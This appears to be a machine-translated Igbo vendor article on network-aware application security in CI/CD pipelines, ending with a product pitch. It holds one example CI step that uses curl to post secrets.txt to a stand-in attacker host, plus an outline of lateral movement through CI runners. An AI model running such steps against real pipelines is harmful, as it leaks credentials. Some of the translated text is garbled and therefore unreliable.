A na-emeso akụrụngwa netwọk dị ka ihe a na-eche n'echiche mgbe e mesịrị: "Anyị nọ n'igwe ojii, anyị nwere Kubernetes, e nwere ebe nchekwa ọkụ." Mana echiche a nwere ike ịghọ ihe dị ize ndụ ngwa ngwa, karịsịa mgbe ngwa ahụ n'onwe ya ghọrọ njikọ na-adịghị ike.
Ebe Na-adịghị Agbanwe Agbanwe n'etiti Koodu na Akụrụngwa Netwọk
A na-enwekarị nsogbu n'ọrụ nchekwa. Ndị mmepe na-elekwasị anya na atụmatụ mbupu; ha na-eche na ndị otu akụrụngwa nwere nchekwa. Ka ọ dị ugbu a, ndị otu infra na-eche na ngwa ahụ siri ike site na imewe. Nkwụsị a na-emepụta ebe a na-apụghị ịhụ anya, nke ndị na-awakpo na-eji ngwa ngwa eme ihe.
Ihe atụ n'ezie: A CI/CD pipeline na-ahazighị gburugburu ebe a na-eme ihe ngosi nke ọmaỌrụ dị n'ime, nke e mere ka ọ dị iche, ka a na-ahapụ na netwọk ahụ. A na-eji ngwa ahụ eme ihe na njikọ ọdụ ụgbọ mmiri mepere emepe, ọ dịghịkwa mmachi ọpụpụ. Ọ dịghị onye na-enyocha gburugburu ebe obibi maka ọrụ ndị a na-ekpughere tupu ewepụta ya. Nke a abụghị okwu echiche; ọ bụ ọdịda bara uru nke nhazi netwọk nchekwa bụ isi.
Ihe dara ada:
- Enweghị njikwa ọpụpụ: ozugbo ọrụ ahụ malitere, ọ nwere ike ịgwa ihe ọ bụla okwu.
- Enweghị nyocha ikpughe na nhazi: Ọdụ ụgbọ mmiri mepere emepe ahụghị anya.
Nke a na-egosi ihe kpatara na akụrụngwa netwọk anaghị ezu oke n'onwe ya. pipeline aghaghịkwa ime ka ókèala nchekwa sie ike.
Gịnị bụ nchekwa netwọk n'ọnọdụ a? Ọ bụghị naanị iwu firewall ma ọ bụ subnet nkeonwe. Ọ bụ ịghọta otu koodu gị si arụ ọrụ n'oge ọrụ, inyocha maka mkpughe tupu etinye ya, na ịmanye omume netwọk siri ike n'oge nrụpụta.
Nke a bụ kpọmkwem ebe AppSec nke maara netwọk dabara. Ọ naghị akwụsị na nyocha koodu isi mmalite. Ọ na-ele anya otu koodu, infra, na CI/CD na-ejikọta na ihe egwu dị n'ụwa n'ezie.
Ihe Nleba Anya nke DevSecOps: "Mana Anyị Nwere Firewalls" Abụghị Nchekwa Netwọk
Ị nọ n'azụ VPC. E nwere iwu firewall. Akpa ahụ dị na subnet nkeonwe. Mana ọ dịghị nke ọ bụla dị mkpa mgbe ngwa ahụ na-ekpughe njikọ dị nro.
Ihe atụ:
- A na-ahazi bọket S3 nke ọma dị ka nke ọha, mana n'ụzọ teknụzụ, ọ bụ "n'azụ" netwọk nkeonwe.
- API dị n'ime nke a na-ekpughe site na ntinye aka na-ezighi ezi na Kubernetes.
Echiche na akụrụngwa netwọk na-echebe megide mmejọ ọkwa ngwa bụ ihe ochie. Nhazi netwọk echekwara na-arụ ọrụ naanị mgbe koodu ngwa na-asọpụrụ ókèala.
Mgbe Koodu Ngwa Mebiri Nhazi Netwọk Edobere
Ụfọdụ n'ime oghere nchekwa kachasị na-amalite dị ka obere ihe nleghara anya na koodu ngwa:
Njikọ na 0.0.0.0: Nke a na-ekpughe ọrụ na njikọ niile, ọbụlagodi na akpa dị n'ime. Ọ nwere ike ịdị mma na mmepe, mana ọ bụrụ na nke a emee ka ọ bụrụ mmepụta, ọ na-eme ka ọrụ nkeonwe bụrụ nke ọha na eze na-enweghị ịdọ aka ná ntị.

🔒 Nhọrọ nchekwa:
# Secure example ports: - containerPort: 8080 hostPort: 8080 hostIP: 127.0.0.1- Ngwungwu ndị ọzọ nke na-ebido sava HTTP na ndabara. A na-agbakwụnyekarị ndị a maka ịdị mfe na ọrụ, mana ha na-emepe elu maka ohere a na-atụghị anya ya.
- Ihe nrịbama siri ike enwere ike ịnweta ya site na ụzọ dị n'ime. Ọ bụrụ na onye mwakpo erute otu ọrụ dị n'ime, ha nwere ike iwepụta ihe nrịbama ma nweta ndị ọzọ.
steps: - name: Exfiltrate secrets run: curl -d @secrets.txt https://attacker.comIhe ndị a abụghị ihe ndị dị n'akụkụ. Ha na-eme n'ezie pipelines, n'ebe dị adị. Akụrụngwa netwọk agaghị azọpụta gị site na ndabara na-enweghị nchekwa na koodu gị.
CI/CD Pipelines: Ihe iyi egwu zoro ezo nye akụrụngwa netwọk
Nrụpụta gị pipeline nwere ike ịbụ akụkụ kachasị mma n'ime ihe ị na-eme, na nke kacha nta n'enweghị nchebe. CI/CD gburugburu ebe obibi ọ bụghị naanị iji mebie ihe owuwu, kamakwa iji mee ka ọ bawanye n'ime akụrụngwa gị.
Usoro mwakpo:
→ Kwekọrịta ihe na-agba ọsọ CI ma ọ bụ GitHub Action.
→ Jikọọ na ọrụ dị n'ime site na ụzọ netwọk mepere emepe.
→ Jiri ihe nrịbama echekwara ma ọ bụ nke e tinyere koodu siri ike mee ihe ọzọ.
→ Nyochaa oke IP dị n'ime iji chọpụta ọrụ dị ndụ.
→ Gaa n'akụkụ iji nweta ọrụ ma ọ bụ nchekwa data dị mkpa.
A na-emekarị mmegharị a site na:
- Ndị na-agba ọsọ nwere ikike karịrị akarị nke na-ekwe ka mmegharị n'akụkụ.
- Iji akwụkwọ ikike eme ihe ọzọ n'etiti ọrụ ma ọ bụ ọrụ.
- Mpụpụ na-enweghị oke nke ahụ na-ekwe ka ọrụ ndị e mebiri emebi gwa onye ọ bụla nọ n'ime ụlọ okwu.
Ihe kpatara ya? Ịwapụ ọrụ, enweghị ohere ịnweta netwọk ntụkwasị obi, obere ikike maka ndị na-agba ọsọ, na iwu siri ike maka ịpụ apụ. Na-enweghị nke a, ngwaọrụ akpaaka gị na-emebi nhazi netwọk echekwara.
Ihe ngwọta ya? Ịwapụ ọrụ, ohere netwọk enweghị ntụkwasị obi, na iwu siri ike maka ọpụpụ n'etiti ndị na-agba ọsọ.
Banye n'ime CI/CD PipelineNsogbu ndị dị na ya
your CI/CD pipeline nwere ike ịbụ njikọ kachasị adịghị ike n'usoro nchekwa gị, ndị mwakpo makwa ya. Chọpụta otú e si egbu ya. Pipeline Mmezu (PPE) na-eme ka akpaaka a tụkwasịrị obi ghọọ ebe egwuregwu onye na-eme ihe ike, na ihe ị nwere ike ime iji mechie ha!
Ọrụ Ndị Meghere Emeghe, Ọdụ Ụgbọ Mmiri E Kpughere Emeghe, na Ihe Ize Ndụ Nye Nchekwa Netwọk
A na-ebuga akpa ngwa ngwa, mana ha na-ebugakarị n'enweghị nchekwa:
- Redis na-agba ọsọ na ọdụ ụgbọ mmiri ndabara.
- Ndị nnọchiteanya dị n'ime hapụrụ na-ege ntị na 8080.
- Ngwugwu na-ewebata ndị na-ege ntị n'amaghị ama.
Nhazi netwọk dị mma ma dị nchebe na-eche na ihe ndị a ga-eme. Ọ na-egbochi ha site na ndabara, na-adọ aka ná ntị mgbe ha pụtara, ma gụnye nkwenye ọdụ ụgbọ mmiri ekpughere dịka akụkụ nke CI.
Ijikọta Nhazi Netwọk Nchekwa na Usoro Ọrụ Mmepụta
AppSec abụghị naanị nyocha koodu kwụ ọtọ. Iji jide ezigbo ihe egwu, ịkwesịrị ikpokọta SAST/SCA site na nyocha netwọk na nkwenye ikpughe.
Usoro Bara Uru: Wulite → Nyocha A Na-anaghị Agbanwe Agbanwe → Nyocha Infra → Nyochaa Ọdụ Ụgbọ Mmiri Ndị A Na-ekpughe → Mee Ka Atumatu Dị Ike
Ihe Nlereanya: Jiri iwu GitHub Actions mee ka ihe ndị na-adịghị mma ghara ịrụ ọrụ ebe a na-ekpughe ọdụ ụgbọ mmiri na-adịghị mkpa.
jobs: check-open-ports: runs-on: ubuntu-latest steps: - name: Run container run: docker run -d -p 8080:8080 my-app - name: Scan for exposed ports run: | if docker port $(docker ps -q) | grep -q 8080; then echo "Unnecessary port exposed. Failing build."; exit 1; fi Iwu dị mfe a na-eme ka ịdị ọcha nke ikpughe dị mma site na itinye nyocha ọdụ ụgbọ mmiri n'ime usoro CI.
-atụ aro Omume kachasị mma nke DevSecOps: Ikpokọta SAST iji chọpụta adịghị ike ọkwa koodu site na iji nyocha akụrụngwa nke na-ejide nhazi na-ezighi ezi. Usoro a nwere akwa abụọ na-enye visibiliti achọrọ maka imewe netwọk nke oge a dị nchebe.
Nke a bụ DevSecOps nwere ezé. Ọ bụ otu nchekwa netwọk si aghọ akụkụ nke ezigbo ọrụ gị. pipeline.
site Guardrails gaa na Nhazi Ụlọ: Iwuli Akụrụngwa Netwọk Nchekwa
Malite ịmanye mmebi nchekwa na gburugburu mmepe, ọ bụghị naanị na mmepụta. Guardrails bụ ezigbo mmalite, mana njikwa ọkwa ụlọ na-eme ka nchekwa dịgide.
Nzọụkwụ simenti:
- Gbochie 0.0.0.0 njikọ na mgbanwe weebụ nnabatahooks na Kubernetes. Nke a na-egbochi mkpughe ọrụ na-enweghị nchebe tupu o mee.
- Na-egbochi okporo ụzọ si n'ime akpa ihe owuwu site na ndabara iji zere mgbasa data na-akwadoghị.
- Iji Onye nche ọnụ ụzọ OPA iji manye iwu dịka nkewa netwọk, ndepụta ọrụ, ma ọ bụ nkọwa nke ịbanye n'ọrụ.
Webata iwu dị ka koodu dị ka atụmatụ a na-emegharị emegharị na nke a na-achịkwa ụdị ya. Site na idetuo iwu (dịka ọmụmaatụ, ịjụ ọrụ niile na-enweghị akara iwu netwọkụ), ndị otu nwere ike itinye iwu ndị na-agbanwe agbanwe, nke metụtara gburugburu ebe obibi n'ofe dev, staging, na prod.
Atumatu dịka koodu abụghị naanị ihe a na-agbanwe agbanwe, ọ bụ ihe a na-enyocha, enwere ike ibugharị ya, ma jikọta ya ozugbo na CI/CD na usoro ọrụ akụrụngwa-dị ka koodu. Nke ahụ bụ ihe mere o ji dị mkpa iji manye nchekwa netwọk zuru oke.
Ezigbo akụrụngwa netwọkụ enweghị ike ịchekwa koodu ngwa ọjọọ
Firewall gị agaghị akwụsị sava Node.js nke na-ekpughe ụzọ nrụzi. VPC gị agaghị akwụsị ngwugwu nke na-amalite proxy dị n'ime. Ọ bụrụ na ngwa ahụ ekpughe ya, netwọk ahụ na-ekwe ka ọ rụọ ọrụ.
Nke ahụ bụ eziokwu bụ isi: nhazi netwọk echekwara anaghị arụ ọrụ mgbe koodu ngwa mebiri iwu.
Gịnị bụ Nchebe Netwọk Na-enweghị Usoro Iwu?
Ọ bụ nkwa ụgha. Nchekwa netwọk na-arụ ọrụ naanị mgbe ngwa ahụ, pipeline, akụrụngwa niile na-agakwa n'otu ụzọ. Ma ọtụtụ mgbe, omume nchekwa na-elekwasị anya n'akụkụ, ọ bụghị n'ime.
Ọrụ CI ndị na-enweghị ike ime ihe nwere ike inye ndị na-awakpo ohere netwọk n'amaghị ama, wulite ndị na-agba ọsọ nwere ikike gabigara ókè ma ọ bụ enweghị mmachi ọpụpụ na-arụ ọrụ dị ka ụzọ azụ.
Enweghị nchekwa na ngwugwu open source, ọrụ ndị na-ejikọ na interface niile, sava HTTP agbakwunyere, ma ọ bụ proxies dị n'ime nke a na-anaghị enyocha, na-emebi nhazi netwọk gị nke ọma n'enweghị nsogbu na ngwa ngwa.
Echiche ndị ochie dịkwa ize ndụ. Echiche nke na ihe dị "ime" ma ọ bụ "onwe" n'ime ụlọ nke ígwé ojii na-eduhie eduhie. N'oge a, "ime" na-apụtakarị "ihe dị mfe ịnweta ma ọ bụrụ na ị maara IP."
Na-enweghị oke siri ike na nyocha dị irè, obere mmejọ na-apụta ìhè:
- Njikọ debug na dev na-eme ka ọ dị mfe ịrụ ọrụ.
- A na-ekpughe ọdụ ụgbọ mmiri nlekota site na nhazi nke na-ezighi ezi.
- Ngwaọrụ dị n'ime mepere emepe maka ụwa n'ihi na ọ dịghị onye lere njikọ ndabara anya.
Gịnị bụ nchekwa netwọk ma ọ bụrụ na enwere ike ịgafe ya site na ntụkwasị obi package.json?
Nhazi netwọk nchekwa nke ọma na-amalite na koodu ahụ ma na-ebi ndụ site na koodu ahụ. pipelineỊdọ aka ná ntị abụghị nhọrọ; ọ dị mkpa ka e nwee ike ichebe ihe niile.
Otu Xygeni si enyere aka chekwaa akụrụngwa netwọkụ site na AppSec
Xygeni na-enye nghọta na netwọk AppSec ozugbo n'ime gị CI/CD pipelines, ịchọpụta omume ndị dị ize ndụ ka ha na-eme ma na-etinye iwu mgbochi na akpaghị aka. Ọ dabereghị naanị na nyocha koodu; ọ na-ahụ ihe owuwu n'ezie iji jide ihe ngwaọrụ ndị na-anaghị arụ ọrụ.
Ihe Xygeni na-eme:
- Na-achọpụta njikọ 0.0.0.0 n'oge nrụpụta: Ọ bụrụ na ọrụ ahụ ejikọta na njikọ niile, Xygeni na-egosi nsogbu ahụ ma gbochie njikọta ahụ. Ọ na-ewelite ịdọ aka ná ntị gbasara ọnọdụ faịlụ, aha ọrụ, na nduzi ndozi.
- Na-achọpụta ọdụ ụgbọ mmiri dị n'ime nke egosipụtara site na ndabara: Ọ bụrụgodị na e meghị ka ọrụ ndị a bụrụ nke ọha, Xygeni na-enyocha faịlụ Docker na nhazi oge ọrụ iji chọpụta ọdụ ụgbọ mmiri mepere emepe nke a ga-egbochi.
- Na-adọ aka ná ntị maka ọrụ ndị na-anaghị anabata ihe karịrị akarị: Xygeni na-enyocha nhazi CI gị maka ndị na-agba ọsọ e nyere ikike gabiga ókè, ohere netwọk sara mbara, na tokens ejigharịrị n'ọrụ n'ofe ọrụ. Ọ na-ejikọta nke a na mkpughe ọrụ n'ezie iji mee ka ihe egwu dị mkpa.
Site na ikike ndị a, Xygeni na-eme ka nhazi netwọk dị nchebe site na akpaaka, na-enye ndị otu nzaghachi ngwa ngwa, nke a pụrụ ime n'oge usoro mmepe, tupu ihe ochie ndị na-enweghị nchekwa erute mmepụta.
Echiche Ikpeazụ: Ọ Na-amalite na Koodu, Ọ Bụghị Firewall
Ị gaghị enwe ike itinye nchekwa netwọk na njedebe nke ngwugwu ahụ pipeline ma tụọ anya na ọ ga-adịgide. Ezigbo nchekwa, ezigbo, siri ike, nchekwa zuru oke, na-amalite site na mgbe e dere koodu ahụ ma na-aga n'ihu site na nrụpụta, nnwale, na ntinye.
Okpu ọ bụla dị mkpa:
- Ọ bụrụ na koodu ahụ ekpughee njikọ dị n'etiti ndabara, netwọk ahụ emebiela.
- Ọ bụrụ na usoro nrụpụta ahụ anaghị akwado ọdụ ụgbọ mmiri mepere emepe, mkpughe ga-apụta.
- Ọ bụrụ na ndị pipeline na-enye ohere maka ọrụ ndị e nyere ikike gabiga ókè, gburugburu ahụ na-aghọ ihe na-adịghị mkpa.
N'ụwa nke mgbasa ozi na-aga n'ihu, mmegharị ngwa ngwa, na ntụkwasị obi siri ike na isi mmalite mepere emepe, iche na netwọk ahụ ga-edozi nsogbu ndị na-enweghị nchekwa bụ echiche dị ize ndụ. "Nchekwa netwọk anaghị amalite site na firewalls. Ọ na-amalite na koodu gị, ihe owuwu gị, na nke gị" pipeline. "
Nke ahụ pụtara iwere AppSec nke maara netwọk dịka ọrụ dị mkpa nke mmepe. Nke ahụ pụtara ijikọta nyocha nchekwa n'oge na itinye nhazi netwọk echekwara dịka akụkụ nke otu ndị otu si ebuga koodu. Enweghị ụzọ mkpirisi. Enweghị echiche. Naanị ọzụzụ, visibiliti, na akpaaka, site na njedebe ruo na njedebe.
Ị gaghị enwe ike itinye nchekwa netwọk. Ọ ga-abụrịrị akụkụ nke otu esi ede koodu, wuo ngwanrọ, na itinye ya. Mee ka ọ mara netwọk. Mee ka ọ dị nchebe site na ndabara. Ma kwụsị iche na netwọk ahụ ga-ekpuchi ihe ọjọọ.cision dị na koodu.






